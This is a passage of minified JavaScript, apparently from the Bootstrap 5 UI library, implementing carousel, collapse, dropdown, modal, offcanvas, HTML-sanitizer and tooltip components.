l=n?\"carousel-item-start\":\"carousel-item-end\",c=n?\"carousel-item-next\":\"carousel-item-prev\";i.classList.add(c),le(i),r.classList.add(l),i.classList.add(l);this._queueCallback(()=>{i.classList.remove(l,c),i.classList.add(yr),r.classList.remove(yr,c,l),this._isSliding=!1,s(dr)},r,this._isAnimated()),a&&this.cycle()}_isAnimated(){return this._element.classList.contains(\"slide\")}_getActive(){return Le.findOne(wr,this._element)}_getItems(){return Le.find(xr,this._element)}_clearInterval(){this._interval&&(clearInterval(this._interval),this._interval=null)}_directionToOrder(t){return de()?t===lr?ar:sr:t===lr?sr:ar}_orderToDirection(t){return de()?t===ar?lr:cr:t===ar?cr:lr}static jQueryInterface(t){return this.each(function(){const e=Ir.getOrCreateInstance(this,t);if(\"number\"!=typeof t){if(\"string\"==typeof t){if(void 0===e[t]||t.startsWith(\"_\")||\"constructor\"===t)throw new TypeError(`No method named \"${t}\"`);e[t]()}}else e.to(t)})}}Oe.on(document,br,\"[data-bs-slide], [data-bs-slide-to]\",function(t){const e=Le.getElementFromSelector(this);if(!e||!e.classList.contains(Ar))return;t.preventDefault();const r=Ir.getOrCreateInstance(e),n=this.getAttribute(\"data-bs-slide-to\");return n?(r.to(n),void r._maybeEnableCycle()):\"next\"===Me.getDataAttribute(this,\"slide\")?(r.next(),void r._maybeEnableCycle()):(r.prev(),void r._maybeEnableCycle())}),Oe.on(window,fr,()=>{const t=Le.find('[data-bs-ride=\"carousel\"]');for(const e of t)Ir.getOrCreateInstance(e)}),pe(Ir);const Sr=\".bs.collapse\",Er=`show${Sr}`,Dr=`shown${Sr}`,Br=`hide${Sr}`,Or=`hidden${Sr}`,Tr=`click${Sr}.data-api`,Nr=\"show\",Fr=\"collapse\",Mr=\"collapsing\",jr=`:scope .${Fr} .${Fr}`,Pr='[data-bs-toggle=\"collapse\"]',Rr={parent:null,toggle:!0},Lr={parent:\"(null|element)\",toggle:\"boolean\"};class Qr extends Pe{constructor(t,e){super(t,e),this._isTransitioning=!1,this._triggerArray=[];const r=Le.find(Pr);for(const t of r){const e=Le.getSelectorFromElement(t),r=Le.find(e).filter(t=>t===this._element);null!==e&&r.length&&this._triggerArray.push(t)}this._initializeChildren(),this._config.parent||this._addAriaAndCollapsedClass(this._triggerArray,this._isShown()),this._config.toggle&&this.toggle()}static get Default(){return Rr}static get DefaultType(){return Lr}static get NAME(){return\"collapse\"}toggle(){this._isShown()?this.hide():this.show()}show(){if(this._isTransitioning||this._isShown())return;let t=[];if(this._config.parent&&(t=this._getFirstLevelChildren(\".collapse.show, .collapse.collapsing\").filter(t=>t!==this._element).map(t=>Qr.getOrCreateInstance(t,{toggle:!1}))),t.length&&t[0]._isTransitioning)return;if(Oe.trigger(this._element,Er).defaultPrevented)return;for(const e of t)e.hide();const e=this._getDimension();this._element.classList.remove(Fr),this._element.classList.add(Mr),this._element.style[e]=0,this._addAriaAndCollapsedClass(this._triggerArray,!0),this._isTransitioning=!0;const r=`scroll${e[0].toUpperCase()+e.slice(1)}`;this._queueCallback(()=>{this._isTransitioning=!1,this._element.classList.remove(Mr),this._element.classList.add(Fr,Nr),this._element.style[e]=\"\",Oe.trigger(this._element,Dr)},this._element,!0),this._element.style[e]=`${this._element[r]}px`}hide(){if(this._isTransitioning||!this._isShown())return;if(Oe.trigger(this._element,Br).defaultPrevented)return;const t=this._getDimension();this._element.style[t]=`${this._element.getBoundingClientRect()[t]}px`,le(this._element),this._element.classList.add(Mr),this._element.classList.remove(Fr,Nr);for(const t of this._triggerArray){const e=Le.getElementFromSelector(t);e&&!this._isShown(e)&&this._addAriaAndCollapsedClass([t],!1)}this._isTransitioning=!0;this._element.style[t]=\"\",this._queueCallback(()=>{this._isTransitioning=!1,this._element.classList.remove(Mr),this._element.classList.add(Fr),Oe.trigger(this._element,Or)},this._element,!0)}_isShown(t=this._element){return t.classList.contains(Nr)}_configAfterMerge(t){return t.toggle=Boolean(t.toggle),t.parent=ne(t.parent),t}_getDimension(){return this._element.classList.contains(\"collapse-horizontal\")?\"width\":\"height\"}_initializeChildren(){if(!this._config.parent)return;const t=this._getFirstLevelChildren(Pr);for(const e of t){const t=Le.getElementFromSelector(e);t&&this._addAriaAndCollapsedClass([e],this._isShown(t))}}_getFirstLevelChildren(t){const e=Le.find(jr,this._config.parent);return Le.find(t,this._config.parent).filter(t=>!e.includes(t))}_addAriaAndCollapsedClass(t,e){if(t.length)for(const r of t)r.classList.toggle(\"collapsed\",!e),r.setAttribute(\"aria-expanded\",e)}static jQueryInterface(t){const e={};return\"string\"==typeof t&&/show|hide/.test(t)&&(e.toggle=!1),this.each(function(){const r=Qr.getOrCreateInstance(this,e);if(\"string\"==typeof t){if(void 0===r[t])throw new TypeError(`No method named \"${t}\"`);r[t]()}})}}Oe.on(document,Tr,Pr,function(t){(\"A\"===t.target.tagName||t.delegateTarget&&\"A\"===t.delegateTarget.tagName)&&t.preventDefault();for(const t of Le.getMultipleElementsFromSelector(this))Qr.getOrCreateInstance(t,{toggle:!1}).toggle()}),pe(Qr);const Gr=\"dropdown\",Wr=\".bs.dropdown\",Ur=\".data-api\",Kr=\"ArrowUp\",Hr=\"ArrowDown\",Yr=`hide${Wr}`,Jr=`hidden${Wr}`,qr=`show${Wr}`,Zr=`shown${Wr}`,Vr=`click${Wr}${Ur}`,zr=`keydown${Wr}${Ur}`,Xr=`keyup${Wr}${Ur}`,$r=\"show\",tn='[data-bs-toggle=\"dropdown\"]:not(.disabled):not(:disabled)',en=`${tn}.${$r}`,rn=\".dropdown-menu\",nn=de()?\"top-end\":\"top-start\",on=de()?\"top-start\":\"top-end\",sn=de()?\"bottom-end\":\"bottom-start\",an=de()?\"bottom-start\":\"bottom-end\",ln=de()?\"left-start\":\"right-start\",cn=de()?\"right-start\":\"left-start\",un={autoClose:!0,boundary:\"clippingParents\",display:\"dynamic\",offset:[0,2],popperConfig:null,reference:\"toggle\"},dn={autoClose:\"(boolean|string)\",boundary:\"(string|element)\",display:\"string\",offset:\"(array|string|function)\",popperConfig:\"(null|object|function)\",reference:\"(string|element|object)\"};class pn extends Pe{constructor(t,e){super(t,e),this._popper=null,this._parent=this._element.parentNode,this._menu=Le.next(this._element,rn)[0]||Le.prev(this._element,rn)[0]||Le.findOne(rn,this._parent),this._inNavbar=this._detectNavbar()}static get Default(){return un}static get DefaultType(){return dn}static get NAME(){return Gr}toggle(){return this._isShown()?this.hide():this.show()}show(){if(oe(this._element)||this._isShown())return;const t={relatedTarget:this._element};if(!Oe.trigger(this._element,qr,t).defaultPrevented){if(this._createPopper(),\"ontouchstart\"in document.documentElement&&!this._parent.closest(\".navbar-nav\"))for(const t of[].concat(...document.body.children))Oe.on(t,\"mouseover\",ae);this._element.focus(),this._element.setAttribute(\"aria-expanded\",!0),this._menu.classList.add($r),this._element.classList.add($r),Oe.trigger(this._element,Zr,t)}}hide(){if(oe(this._element)||!this._isShown())return;const t={relatedTarget:this._element};this._completeHide(t)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_completeHide(t){if(!Oe.trigger(this._element,Yr,t).defaultPrevented){if(\"ontouchstart\"in document.documentElement)for(const t of[].concat(...document.body.children))Oe.off(t,\"mouseover\",ae);this._popper&&this._popper.destroy(),this._menu.classList.remove($r),this._element.classList.remove($r),this._element.setAttribute(\"aria-expanded\",\"false\"),Me.removeDataAttribute(this._menu,\"popper\"),Oe.trigger(this._element,Jr,t)}}_getConfig(t){if(\"object\"==typeof(t=super._getConfig(t)).reference&&!re(t.reference)&&\"function\"!=typeof t.reference.getBoundingClientRect)throw new TypeError(`${Gr.toUpperCase()}: Option \"reference\" provided type \"object\" without a required \"getBoundingClientRect\" method.`);return t}_createPopper(){let t=this._element;\"parent\"===this._config.reference?t=this._parent:re(this._config.reference)?t=ne(this._config.reference):\"object\"==typeof this._config.reference&&(t=this._config.reference);const e=this._getPopperConfig();this._popper=qt(t,this._menu,e)}_isShown(){return this._menu.classList.contains($r)}_getPlacement(){const t=this._parent;if(t.classList.contains(\"dropend\"))return ln;if(t.classList.contains(\"dropstart\"))return cn;if(t.classList.contains(\"dropup-center\"))return\"top\";if(t.classList.contains(\"dropdown-center\"))return\"bottom\";const e=\"end\"===getComputedStyle(this._menu).getPropertyValue(\"--bs-position\").trim();return t.classList.contains(\"dropup\")?e?on:nn:e?an:sn}_detectNavbar(){return null!==this._element.closest(\".navbar\")}_getOffset(){const{offset:t}=this._config;return\"string\"==typeof t?t.split(\",\").map(t=>Number.parseInt(t,10)):\"function\"==typeof t?e=>t(e,this._element):t}_getPopperConfig(){const t={placement:this._getPlacement(),modifiers:[{name:\"preventOverflow\",options:{boundary:this._config.boundary}},{name:\"offset\",options:{offset:this._getOffset()}}]};return(this._inNavbar||\"static\"===this._config.display)&&(Me.setDataAttribute(this._menu,\"popper\",\"static\"),t.modifiers=[{name:\"applyStyles\",enabled:!1}]),{...t,...me(this._config.popperConfig,[void 0,t])}}_selectMenuItem({key:t,target:e}){const r=Le.find(\".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)\",this._menu).filter(t=>ie(t));r.length&&ge(r,e,t===Hr,!r.includes(e)).focus()}static jQueryInterface(t){return this.each(function(){const e=pn.getOrCreateInstance(this,t);if(\"string\"==typeof t){if(void 0===e[t])throw new TypeError(`No method named \"${t}\"`);e[t]()}})}static clearMenus(t){if(2===t.button||\"keyup\"===t.type&&\"Tab\"!==t.key)return;const e=Le.find(en);for(const r of e){const e=pn.getInstance(r);if(!e||!1===e._config.autoClose)continue;const n=t.composedPath(),i=n.includes(e._menu);if(n.includes(e._element)||\"inside\"===e._config.autoClose&&!i||\"outside\"===e._config.autoClose&&i)continue;if(e._menu.contains(t.target)&&(\"keyup\"===t.type&&\"Tab\"===t.key||/input|select|option|textarea|form/i.test(t.target.tagName)))continue;const o={relatedTarget:e._element};\"click\"===t.type&&(o.clickEvent=t),e._completeHide(o)}}static dataApiKeydownHandler(t){const e=/input|textarea/i.test(t.target.tagName),r=\"Escape\"===t.key,n=[Kr,Hr].includes(t.key);if(!n&&!r)return;if(e&&!r)return;t.preventDefault();const i=this.matches(tn)?this:Le.prev(this,tn)[0]||Le.next(this,tn)[0]||Le.findOne(tn,t.delegateTarget.parentNode),o=pn.getOrCreateInstance(i);if(n)return t.stopPropagation(),o.show(),void o._selectMenuItem(t);o._isShown()&&(t.stopPropagation(),o.hide(),i.focus())}}Oe.on(document,zr,tn,pn.dataApiKeydownHandler),Oe.on(document,zr,rn,pn.dataApiKeydownHandler),Oe.on(document,Vr,pn.clearMenus),Oe.on(document,Xr,pn.clearMenus),Oe.on(document,Vr,tn,function(t){t.preventDefault(),pn.getOrCreateInstance(this).toggle()}),pe(pn);const mn=\"backdrop\",hn=\"show\",gn=`mousedown.bs.${mn}`,fn={className:\"modal-backdrop\",clickCallback:null,isAnimated:!1,isVisible:!0,rootElement:\"body\"},bn={className:\"string\",clickCallback:\"(function|null)\",isAnimated:\"boolean\",isVisible:\"boolean\",rootElement:\"(element|string)\"};class An extends je{constructor(t){super(),this._config=this._getConfig(t),this._isAppended=!1,this._element=null}static get Default(){return fn}static get DefaultType(){return bn}static get NAME(){return mn}show(t){if(!this._config.isVisible)return void me(t);this._append();const e=this._getElement();this._config.isAnimated&&le(e),e.classList.add(hn),this._emulateAnimation(()=>{me(t)})}hide(t){this._config.isVisible?(this._getElement().classList.remove(hn),this._emulateAnimation(()=>{this.dispose(),me(t)})):me(t)}dispose(){this._isAppended&&(Oe.off(this._element,gn),this._element.remove(),this._isAppended=!1)}_getElement(){if(!this._element){const t=document.createElement(\"div\");t.className=this._config.className,this._config.isAnimated&&t.classList.add(\"fade\"),this._element=t}return this._element}_configAfterMerge(t){return t.rootElement=ne(t.rootElement),t}_append(){if(this._isAppended)return;const t=this._getElement();this._config.rootElement.append(t),Oe.on(t,gn,()=>{me(this._config.clickCallback)}),this._isAppended=!0}_emulateAnimation(t){he(t,this._getElement(),this._config.isAnimated)}}const yn=\".bs.focustrap\",vn=`focusin${yn}`,xn=`keydown.tab${yn}`,wn=\"backward\",_n={autofocus:!0,trapElement:null},kn={autofocus:\"boolean\",trapElement:\"element\"};class Cn extends je{constructor(t){super(),this._config=this._getConfig(t),this._isActive=!1,this._lastTabNavDirection=null}static get Default(){return _n}static get DefaultType(){return kn}static get NAME(){return\"focustrap\"}activate(){this._isActive||(this._config.autofocus&&this._config.trapElement.focus(),Oe.off(document,yn),Oe.on(document,vn,t=>this._handleFocusin(t)),Oe.on(document,xn,t=>this._handleKeydown(t)),this._isActive=!0)}deactivate(){this._isActive&&(this._isActive=!1,Oe.off(document,yn))}_handleFocusin(t){const{trapElement:e}=this._config;if(t.target===document||t.target===e||e.contains(t.target))return;const r=Le.focusableChildren(e);0===r.length?e.focus():this._lastTabNavDirection===wn?r[r.length-1].focus():r[0].focus()}_handleKeydown(t){\"Tab\"===t.key&&(this._lastTabNavDirection=t.shiftKey?wn:\"forward\")}}const In=\".fixed-top, .fixed-bottom, .is-fixed, .sticky-top\",Sn=\".sticky-top\",En=\"padding-right\",Dn=\"margin-right\";class Bn{constructor(){this._element=document.body}getWidth(){const t=document.documentElement.clientWidth;return Math.abs(window.innerWidth-t)}hide(){const t=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,En,e=>e+t),this._setElementAttributes(In,En,e=>e+t),this._setElementAttributes(Sn,Dn,e=>e-t)}reset(){this._resetElementAttributes(this._element,\"overflow\"),this._resetElementAttributes(this._element,En),this._resetElementAttributes(In,En),this._resetElementAttributes(Sn,Dn)}isOverflowing(){return this.getWidth()>0}_disableOverFlow(){this._saveInitialAttribute(this._element,\"overflow\"),this._element.style.overflow=\"hidden\"}_setElementAttributes(t,e,r){const n=this.getWidth();this._applyManipulationCallback(t,t=>{if(t!==this._element&&window.innerWidth>t.clientWidth+n)return;this._saveInitialAttribute(t,e);const i=window.getComputedStyle(t).getPropertyValue(e);t.style.setProperty(e,`${r(Number.parseFloat(i))}px`)})}_saveInitialAttribute(t,e){const r=t.style.getPropertyValue(e);r&&Me.setDataAttribute(t,e,r)}_resetElementAttributes(t,e){this._applyManipulationCallback(t,t=>{const r=Me.getDataAttribute(t,e);null!==r?(Me.removeDataAttribute(t,e),t.style.setProperty(e,r)):t.style.removeProperty(e)})}_applyManipulationCallback(t,e){if(re(t))e(t);else for(const r of Le.find(t,this._element))e(r)}}const On=\".bs.modal\",Tn=`hide${On}`,Nn=`hidePrevented${On}`,Fn=`hidden${On}`,Mn=`show${On}`,jn=`shown${On}`,Pn=`resize${On}`,Rn=`click.dismiss${On}`,Ln=`mousedown.dismiss${On}`,Qn=`keydown.dismiss${On}`,Gn=`click${On}.data-api`,Wn=\"modal-open\",Un=\"show\",Kn=\"modal-static\",Hn={backdrop:!0,focus:!0,keyboard:!0},Yn={backdrop:\"(boolean|string)\",focus:\"boolean\",keyboard:\"boolean\"};class Jn extends Pe{constructor(t,e){super(t,e),this._dialog=Le.findOne(\".modal-dialog\",this._element),this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._isShown=!1,this._isTransitioning=!1,this._scrollBar=new Bn,this._addEventListeners()}static get Default(){return Hn}static get DefaultType(){return Yn}static get NAME(){return\"modal\"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){if(this._isShown||this._isTransitioning)return;Oe.trigger(this._element,Mn,{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._isTransitioning=!0,this._scrollBar.hide(),document.body.classList.add(Wn),this._adjustDialog(),this._backdrop.show(()=>this._showElement(t)))}hide(){if(!this._isShown||this._isTransitioning)return;Oe.trigger(this._element,Tn).defaultPrevented||(this._isShown=!1,this._isTransitioning=!0,this._focustrap.deactivate(),this._element.classList.remove(Un),this._queueCallback(()=>this._hideModal(),this._element,this._isAnimated()))}dispose(){Oe.off(window,On),Oe.off(this._dialog,On),this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new An({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new Cn({trapElement:this._element})}_showElement(t){document.body.contains(this._element)||document.body.append(this._element),this._element.style.display=\"block\",this._element.removeAttribute(\"aria-hidden\"),this._element.setAttribute(\"aria-modal\",!0),this._element.setAttribute(\"role\",\"dialog\"),this._element.scrollTop=0;const e=Le.findOne(\".modal-body\",this._dialog);e&&(e.scrollTop=0),le(this._element),this._element.classList.add(Un);this._queueCallback(()=>{this._config.focus&&this._focustrap.activate(),this._isTransitioning=!1,Oe.trigger(this._element,jn,{relatedTarget:t})},this._dialog,this._isAnimated())}_addEventListeners(){Oe.on(this._element,Qn,t=>{\"Escape\"===t.key&&(this._config.keyboard?this.hide():this._triggerBackdropTransition())}),Oe.on(window,Pn,()=>{this._isShown&&!this._isTransitioning&&this._adjustDialog()}),Oe.on(this._element,Ln,t=>{Oe.one(this._element,Rn,e=>{this._element===t.target&&this._element===e.target&&(\"static\"!==this._config.backdrop?this._config.backdrop&&this.hide():this._triggerBackdropTransition())})})}_hideModal(){this._element.style.display=\"none\",this._element.setAttribute(\"aria-hidden\",!0),this._element.removeAttribute(\"aria-modal\"),this._element.removeAttribute(\"role\"),this._isTransitioning=!1,this._backdrop.hide(()=>{document.body.classList.remove(Wn),this._resetAdjustments(),this._scrollBar.reset(),Oe.trigger(this._element,Fn)})}_isAnimated(){return this._element.classList.contains(\"fade\")}_triggerBackdropTransition(){if(Oe.trigger(this._element,Nn).defaultPrevented)return;const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._element.style.overflowY;\"hidden\"===e||this._element.classList.contains(Kn)||(t||(this._element.style.overflowY=\"hidden\"),this._element.classList.add(Kn),this._queueCallback(()=>{this._element.classList.remove(Kn),this._queueCallback(()=>{this._element.style.overflowY=e},this._dialog)},this._dialog),this._element.focus())}_adjustDialog(){const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._scrollBar.getWidth(),r=e>0;if(r&&!t){const t=de()?\"paddingLeft\":\"paddingRight\";this._element.style[t]=`${e}px`}if(!r&&t){const t=de()?\"paddingRight\":\"paddingLeft\";this._element.style[t]=`${e}px`}}_resetAdjustments(){this._element.style.paddingLeft=\"\",this._element.style.paddingRight=\"\"}static jQueryInterface(t,e){return this.each(function(){const r=Jn.getOrCreateInstance(this,t);if(\"string\"==typeof t){if(void 0===r[t])throw new TypeError(`No method named \"${t}\"`);r[t](e)}})}}Oe.on(document,Gn,'[data-bs-toggle=\"modal\"]',function(t){const e=Le.getElementFromSelector(this);[\"A\",\"AREA\"].includes(this.tagName)&&t.preventDefault(),Oe.one(e,Mn,t=>{t.defaultPrevented||Oe.one(e,Fn,()=>{ie(this)&&this.focus()})});const r=Le.findOne(\".modal.show\");r&&Jn.getInstance(r).hide();Jn.getOrCreateInstance(e).toggle(this)}),Qe(Jn),pe(Jn);const qn=\".bs.offcanvas\",Zn=\".data-api\",Vn=`load${qn}${Zn}`,zn=\"show\",Xn=\"showing\",$n=\"hiding\",ti=\".offcanvas.show\",ei=`show${qn}`,ri=`shown${qn}`,ni=`hide${qn}`,ii=`hidePrevented${qn}`,oi=`hidden${qn}`,si=`resize${qn}`,ai=`click${qn}${Zn}`,li=`keydown.dismiss${qn}`,ci={backdrop:!0,keyboard:!0,scroll:!1},ui={backdrop:\"(boolean|string)\",keyboard:\"boolean\",scroll:\"boolean\"};class di extends Pe{constructor(t,e){super(t,e),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._addEventListeners()}static get Default(){return ci}static get DefaultType(){return ui}static get NAME(){return\"offcanvas\"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){if(this._isShown)return;if(Oe.trigger(this._element,ei,{relatedTarget:t}).defaultPrevented)return;this._isShown=!0,this._backdrop.show(),this._config.scroll||(new Bn).hide(),this._element.setAttribute(\"aria-modal\",!0),this._element.setAttribute(\"role\",\"dialog\"),this._element.classList.add(Xn);this._queueCallback(()=>{this._config.scroll&&!this._config.backdrop||this._focustrap.activate(),this._element.classList.add(zn),this._element.classList.remove(Xn),Oe.trigger(this._element,ri,{relatedTarget:t})},this._element,!0)}hide(){if(!this._isShown)return;if(Oe.trigger(this._element,ni).defaultPrevented)return;this._focustrap.deactivate(),this._element.blur(),this._isShown=!1,this._element.classList.add($n),this._backdrop.hide();this._queueCallback(()=>{this._element.classList.remove(zn,$n),this._element.removeAttribute(\"aria-modal\"),this._element.removeAttribute(\"role\"),this._config.scroll||(new Bn).reset(),Oe.trigger(this._element,oi)},this._element,!0)}dispose(){this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}_initializeBackDrop(){const t=Boolean(this._config.backdrop);return new An({className:\"offcanvas-backdrop\",isVisible:t,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:t?()=>{\"static\"!==this._config.backdrop?this.hide():Oe.trigger(this._element,ii)}:null})}_initializeFocusTrap(){return new Cn({trapElement:this._element})}_addEventListeners(){Oe.on(this._element,li,t=>{\"Escape\"===t.key&&(this._config.keyboard?this.hide():Oe.trigger(this._element,ii))})}static jQueryInterface(t){return this.each(function(){const e=di.getOrCreateInstance(this,t);if(\"string\"==typeof t){if(void 0===e[t]||t.startsWith(\"_\")||\"constructor\"===t)throw new TypeError(`No method named \"${t}\"`);e[t](this)}})}}Oe.on(document,ai,'[data-bs-toggle=\"offcanvas\"]',function(t){const e=Le.getElementFromSelector(this);if([\"A\",\"AREA\"].includes(this.tagName)&&t.preventDefault(),oe(this))return;Oe.one(e,oi,()=>{ie(this)&&this.focus()});const r=Le.findOne(ti);r&&r!==e&&di.getInstance(r).hide();di.getOrCreateInstance(e).toggle(this)}),Oe.on(window,Vn,()=>{for(const t of Le.find(ti))di.getOrCreateInstance(t).show()}),Oe.on(window,si,()=>{for(const t of Le.find(\"[aria-modal][class*=show][class*=offcanvas-]\"))\"fixed\"!==getComputedStyle(t).position&&di.getOrCreateInstance(t).hide()}),Qe(di),pe(di);const pi={\"*\":[\"class\",\"dir\",\"id\",\"lang\",\"role\",/^aria-[\\w-]*$/i],a:[\"target\",\"href\",\"title\",\"rel\"],area:[],b:[],br:[],col:[],code:[],dd:[],div:[],dl:[],dt:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:[\"src\",\"srcset\",\"alt\",\"title\",\"width\",\"height\"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},mi=new Set([\"background\",\"cite\",\"href\",\"itemtype\",\"longdesc\",\"poster\",\"src\",\"xlink:href\"]),hi=/^(?!javascript:)(?:[a-z0-9+.-]+:|[^&:/?#]*(?:[/?#]|$))/i,gi=(t,e)=>{const r=t.nodeName.toLowerCase();return e.includes(r)?!mi.has(r)||Boolean(hi.test(t.nodeValue)):e.filter(t=>t instanceof RegExp).some(t=>t.test(r))};const fi={allowList:pi,content:{},extraClass:\"\",html:!1,sanitize:!0,sanitizeFn:null,template:\"<div></div>\"},bi={allowList:\"object\",content:\"object\",extraClass:\"(string|function)\",html:\"boolean\",sanitize:\"boolean\",sanitizeFn:\"(null|function)\",template:\"string\"},Ai={entry:\"(string|element|function|null)\",selector:\"(string|element)\"};class yi extends je{constructor(t){super(),this._config=this._getConfig(t)}static get Default(){return fi}static get DefaultType(){return bi}static get NAME(){return\"TemplateFactory\"}getContent(){return Object.values(this._config.content).map(t=>this._resolvePossibleFunction(t)).filter(Boolean)}hasContent(){return this.getContent().length>0}changeContent(t){return this._checkContent(t),this._config.content={...this._config.content,...t},this}toHtml(){const t=document.createElement(\"div\");t.innerHTML=this._maybeSanitize(this._config.template);for(const[e,r]of Object.entries(this._config.content))this._setContent(t,r,e);const e=t.children[0],r=this._resolvePossibleFunction(this._config.extraClass);return r&&e.classList.add(...r.split(\" \")),e}_typeCheckConfig(t){super._typeCheckConfig(t),this._checkContent(t.content)}_checkContent(t){for(const[e,r]of Object.entries(t))super._typeCheckConfig({selector:e,entry:r},Ai)}_setContent(t,e,r){const n=Le.findOne(r,t);n&&((e=this._resolvePossibleFunction(e))?re(e)?this._putElementInTemplate(ne(e),n):this._config.html?n.innerHTML=this._maybeSanitize(e):n.textContent=e:n.remove())}_maybeSanitize(t){return this._config.sanitize?function(t,e,r){if(!t.length)return t;if(r&&\"function\"==typeof r)return r(t);const n=(new window.DOMParser).parseFromString(t,\"text/html\"),i=[].concat(...n.body.querySelectorAll(\"*\"));for(const t of i){const r=t.nodeName.toLowerCase();if(!Object.keys(e).includes(r)){t.remove();continue}const n=[].concat(...t.attributes),i=[].concat(e[\"*\"]||[],e[r]||[]);for(const e of n)gi(e,i)||t.removeAttribute(e.nodeName)}return n.body.innerHTML}(t,this._config.allowList,this._config.sanitizeFn):t}_resolvePossibleFunction(t){return me(t,[void 0,this])}_putElementInTemplate(t,e){if(this._config.html)return e.innerHTML=\"\",void e.append(t);e.textContent=t.textContent}}const vi=new Set([\"sanitize\",\"allowList\",\"sanitizeFn\"]),xi=\"fade\",wi=\"show\",_i=\".tooltip-inner\",ki=\".modal\",Ci=\"hide.bs.modal\",Ii=\"hover\",Si=\"focus\",Ei=\"click\",Di={AUTO:\"auto\",TOP:\"top\",RIGHT:de()?\"left\":\"right\",BOTTOM:\"bottom\",LEFT:de()?\"right\":\"left\"},Bi={allowList:pi,animation:!0,boundary:\"clippingParents\",container:!1,customClass:\"\",delay:0,fallbackPlacements:[\"top\",\"right\",\"bottom\",\"left\"],html:!1,offset:[0,6],placement:\"top\",popperConfig:null,sanitize:!0,sanitizeFn:null,selector:!1,template:'<div class=\"tooltip\" role=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>',title:\"\",trigger:\"hover focus\"},Oi={allowList:\"object\",animation:\"boolean\",boundary:\"(string|element)\",container:\"(string|element|boolean)\",customClass:\"(string|function)\",delay:\"(number|object)\",fallbackPlacements:\"array\",html:\"boolean\",offset:\"(array|string|function)\",placement:\"(string|function)\",popperConfig:\"(null|object|function)\",sanitize:\"boolean\",sanitizeFn:\"(null|function)\",selector:\"(string|boolean)\",template:\"string\",title:\"(string|element|function)\",trigger:\"string\"};class Ti extends Pe{constructor(t,e){super(t,e),this._isEnabled=!0,this._timeout=0,this._isHovered=null,this._activeTrigger={},this._popper=null,this._templateFactory=null,this._newContent=null,this.tip=null,this._setListeners(),this._config.selector||this._fixTitle()}static get Default(){return Bi}static get DefaultType(){return Oi}static get NAME(){return\"tooltip\"}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(){this._isEnabled&&(this._isShown()?this._leave():this._enter())}dispose(){clearTimeout(this._timeout),Oe.off(this._element.closest(ki),Ci,this._hideModalHandler),this._element.getAttribute(\"data-bs-original-title\")&&this._element.setAttribute(\"title\",this._element.getAttribute(\"data-bs-original-title\")),this._disposePopper(),super.dispose()}show(){if(\"none\"===this._element.style.display)throw new Error(\"Please use show on visible elements\");if(!this._isWithContent()||!this._isEnabled)return;const t=Oe.trigger(this._element,this.constructor.eventName(\"show\")),e=(se(this._element)||this._element.ownerDocument.documentElement).contains(this._element);if(t.defaultPrevented||!e)return;this._disposePopper();const r=this._getTipElement();this._element.setAttribute(\"aria-describedby\",r.getAttribute(\"id\"));const{container:n}=this._config;if(this._element.ownerDocument.documentElement.contains(this.tip)||(n.append(r),Oe.trigger(this._element,this.constructor.eventName(\"inserted\"))),this._popper=this._createPopper(r),r.classList.add(wi),\"ontouchstart\"in document.documentElement)for(const t of[].concat(...document.body.children))Oe.on(t,\"mouseover\",ae);this._queueCallback(()=>{Oe.trigger(this._element,this.constructor.eventName(\"shown\")),!1===this._isHovered&&this._leave(),this._isHovered=!1},this.tip,this._isAnimated())}hide(){if(!this._isShown())return;if(Oe.trigger(this._element,this.constructor.eventName(\"hide\")).defaultPrevented)return;if(this._getTipElement().classList.remove(wi),\"ontouchstart\"in document.documentElement)for(const t of[].concat(...document.body.children))Oe.off(t,\"mouseover\",ae);this._activeTrigger[Ei]=!1,this._activeTrigger[Si]=!1,this._activeTrigger[Ii]=!1,this._isHovered=null;this._queueCallback(()=>{this._isWithActiveTrigger()||(this._isHovered||this._disposePopper(),this._element.removeAttribute(\"aria-describedby\"),Oe.trigger(this._element,this.constructor.eventName(\"hidden\")))},this.tip,this._isAnimated())}update(){this._popper&&this._popper.update()}_isWithContent(){return Boolean(this._getTitle())}_getTipElement(){return this.tip||(this.tip=this._createTipElement(this._newContent||this._getContentForTemplate())),this.tip}_createTipElement(t){const e=this._getTemplateFactory(t).toHtml();if(!e)return null;e.classList.remove(xi,wi),e.classList.add(`bs-${this.constructor.NAME}-auto`);const r=(t=>{do{t+=Math.floor(1e6*Math.random())}while(document.getElementById(t));return t})(this.constructor.NAME).toString();return e.setAttribute(\"id\",r),this._isAnimated()&&e.classList.add(xi),e}setContent(t){this._newContent=t,this._isShown()&&(this._disposePopper(),this.show())}_getTemplateFactory(t){return this._templateFactory?this._templateFactory.changeContent(t):this._templateFactory=new yi({...this._config,content:t,extraClass:this._resolvePossibleFunction(this._config.customClass)}),this._templateFactory}_getContentForTemplate(){return{[_i]:this._getTitle()}}_getTitle(){return this._resolvePossibleFunction(this._config.title)||this._element.getAttribute(\"data-bs-original-title\")}_initializeOnDelegatedTarget(t){return this.constructor.getOrCreateInstance(t.delegateTarget,this._getDelegateConfig())}_isAnimated(){return this._config.animation||this.tip&&this.tip.classList.contains(xi)}_isShown(){return this.tip&&this.tip.classList.contains(wi)}_createPopper(t){const e=me(this._config.placement,[this,t,this._element]),r=Di[e.toUpperCase()];return 